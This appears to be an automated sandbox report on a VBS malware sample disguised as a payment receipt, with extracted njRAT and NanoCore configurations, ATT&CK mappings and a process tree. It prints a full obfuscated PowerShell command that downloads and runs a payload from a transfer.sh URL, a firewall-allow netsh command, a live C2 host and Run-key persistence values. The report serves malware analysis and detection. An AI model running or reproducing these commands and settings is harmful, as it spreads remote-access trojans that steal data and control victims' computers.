bitrat | 20c16f86d064ace9aba5b2a46939234aa154d6f1bd86d823d7baa31eb291c758

General

Target

K2M17C5X4Payment-Receipt.vbs
Size

679B
MD5

00b87aa69cc2affee76e1dcfefe2a5f0
SHA1

c05f10020b72265500b6a60aa44bc25b6dc2164c
SHA256

20c16f86d064ace9aba5b2a46939234aa154d6f1bd86d823d7baa31eb291c758
SHA512

4ccf08698b421c6cf19536bc6e82d420af1a9ce1cf95f1b14e92f7537ae9f921e633eebb0d4a236837091de815b1203f2e8e3309a17c2e3c06876744f5df3c43

Score

10^/10

bitrat nanocore njrat hacked evasion keylogger persistence spyware stealer suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://transfer.sh/get/8HmK8m/bypass.txt

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Extracted

Family

nanocore

Version

1.2.2.0

C2

nov6400.duckdns.org:6400

Mutex

513706f3-29db-4e99-a51e-059607a7bc45

Attributes

activate_away_mode
true
backup_connection_host
nov6400.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-09-17T19:15:29.081949136Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6400
default_group
nov 6400
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
513706f3-29db-4e99-a51e-059607a7bc45
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
nov6400.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

BitRAT Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1008-177-0x0000000000400000-0x00000000007E4000-memory.dmp	family_bitrat
behavioral2/memory/1008-179-0x0000000000400000-0x00000000007E4000-memory.dmp	family_bitrat

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

10 2756 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
10	2756	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1008-175-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/1008-177-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/1008-179-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

aspnet_regsql.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe\" .."	aspnet_regsql.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe\" .."	aspnet_regsql.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

aspnet_regsql.exe

pid process

1008 aspnet_regsql.exe
1008 aspnet_regsql.exe
1008 aspnet_regsql.exe
1008 aspnet_regsql.exe
1008 aspnet_regsql.exe

pid	process
1008	aspnet_regsql.exe
1008	aspnet_regsql.exe
1008	aspnet_regsql.exe
1008	aspnet_regsql.exe
1008	aspnet_regsql.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 2756 set thread context of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 set thread context of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 set thread context of 1008	2756	powershell.exe	aspnet_regsql.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeaspnet_regsql.exe

pid	process
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
1960	aspnet_regsql.exe
1960	aspnet_regsql.exe
1960	aspnet_regsql.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
1960	aspnet_regsql.exe
1960	aspnet_regsql.exe
1960	aspnet_regsql.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

aspnet_regsql.exe

pid process

1960 aspnet_regsql.exe

pid	process
1960	aspnet_regsql.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exeaspnet_regsql.exeaspnet_regsql.exeaspnet_regsql.exe

description	pid	process
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	1960	aspnet_regsql.exe
Token: SeShutdownPrivilege	1008	aspnet_regsql.exe
Token: SeDebugPrivilege	1512	aspnet_regsql.exe
Token: 33	1512	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	1512	aspnet_regsql.exe
Token: 33	1512	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	1512	aspnet_regsql.exe
Token: 33	1512	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	1512	aspnet_regsql.exe
Token: 33	1512	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	1512	aspnet_regsql.exe
Token: 33	1512	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	1512	aspnet_regsql.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

aspnet_regsql.exe

pid process

1008 aspnet_regsql.exe
1008 aspnet_regsql.exe

pid	process
1008	aspnet_regsql.exe
1008	aspnet_regsql.exe

Suspicious use of WriteProcessMemory 43 IoCs

Processes:

WScript.exepowershell.exeaspnet_regsql.exe

description	pid	process	target process
PID 3204 wrote to memory of 2756	3204	WScript.exe	powershell.exe
PID 3204 wrote to memory of 2756	3204	WScript.exe	powershell.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1512	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 684	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 684	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 684	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1960	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 964	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 964	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 964	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 2996	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 2996	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 2996	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 2344	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 2344	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 2344	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1280	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1280	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1280	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1008	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1008	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1008	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1008	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1008	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1008	2756	powershell.exe	aspnet_regsql.exe
PID 2756 wrote to memory of 1008	2756	powershell.exe	aspnet_regsql.exe
PID 1512 wrote to memory of 2252	1512	aspnet_regsql.exe	netsh.exe
PID 1512 wrote to memory of 2252	1512	aspnet_regsql.exe	netsh.exe
PID 1512 wrote to memory of 2252	1512	aspnet_regsql.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\K2M17C5X4Payment-Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .('{1}{0}'-f'eX','I')((ne`w-OBje`cT ('{3}{1}{0}{2}{4}' -f'ebCl','et.W','ie','N','nt')).('{1}{0}{4}{5}{3}{2}' -f 'nl','Dow','g','rin','oa','dSt').('{1}{0}{4}{3}{2}' -f 'v','In','e','k','o')('https://transfer.sh/get/8HmK8m/bypass.txt'))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe" "aspnet_regsql.exe" ENABLE
4⤵
PID:2252

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
PID:684

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1960

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
PID:964

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
PID:2996

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
PID:2344

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
PID:1280

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1008

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1008-179-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1008-177-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1008-176-0x00000000007E2730-mapping.dmp

Download
memory/1008-175-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1512-145-0x000000000040BBCE-mapping.dmp

Download
memory/1512-194-0x0000000002AE0000-0x0000000002B7C000-memory.dmp

Filesize
624KB

Download
memory/1512-150-0x00000000053B0000-0x00000000053B1000-memory.dmp

Filesize
4KB

Download
memory/1512-149-0x00000000054D0000-0x00000000054D1000-memory.dmp

Filesize
4KB

Download
memory/1512-148-0x0000000004ED0000-0x0000000004ED1000-memory.dmp

Filesize
4KB

Download
memory/1512-144-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/1960-155-0x000000000041E792-mapping.dmp

Download
memory/1960-181-0x0000000006890000-0x00000000068A5000-memory.dmp

Filesize
84KB

Download
memory/1960-187-0x0000000006920000-0x0000000006922000-memory.dmp

Filesize
8KB

Download
memory/1960-186-0x0000000006910000-0x000000000691D000-memory.dmp

Filesize
52KB

Download
memory/1960-185-0x0000000006900000-0x0000000006907000-memory.dmp

Filesize
28KB

Download
memory/1960-184-0x00000000068F0000-0x00000000068F6000-memory.dmp

Filesize
24KB

Download
memory/1960-183-0x00000000068E0000-0x00000000068EC000-memory.dmp

Filesize
48KB

Download
memory/1960-182-0x00000000068D0000-0x00000000068D6000-memory.dmp

Filesize
24KB

Download
memory/1960-180-0x0000000006880000-0x000000000688D000-memory.dmp

Filesize
52KB

Download
memory/1960-154-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1960-165-0x00000000056C0000-0x00000000056C3000-memory.dmp

Filesize
12KB

Download
memory/1960-162-0x0000000005290000-0x000000000578E000-memory.dmp

Filesize
5.0MB

Download
memory/1960-161-0x0000000005350000-0x0000000005351000-memory.dmp

Filesize
4KB

Download
memory/1960-163-0x0000000005690000-0x0000000005695000-memory.dmp

Filesize
20KB

Download
memory/1960-164-0x0000000006010000-0x0000000006029000-memory.dmp

Filesize
100KB

Download
memory/2252-193-0x0000000000000000-mapping.dmp

Download
memory/2756-122-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download
memory/2756-123-0x0000022F5E540000-0x0000022F5E541000-memory.dmp

Filesize
4KB

Download
memory/2756-118-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download
memory/2756-178-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download
memory/2756-117-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download
memory/2756-121-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download
memory/2756-119-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download
memory/2756-115-0x0000000000000000-mapping.dmp

Download
memory/2756-126-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download
memory/2756-124-0x0000022F5E040000-0x0000022F5E042000-memory.dmp

Filesize
8KB

Download
memory/2756-125-0x0000022F5E043000-0x0000022F5E045000-memory.dmp

Filesize
8KB

Download
memory/2756-143-0x0000022F5E4C0000-0x0000022F5E4C4000-memory.dmp

Filesize
16KB

Download
memory/2756-132-0x0000022F5E046000-0x0000022F5E048000-memory.dmp

Filesize
8KB

Download
memory/2756-120-0x0000022F5DFF0000-0x0000022F5DFF1000-memory.dmp

Filesize
4KB

Download
memory/2756-116-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads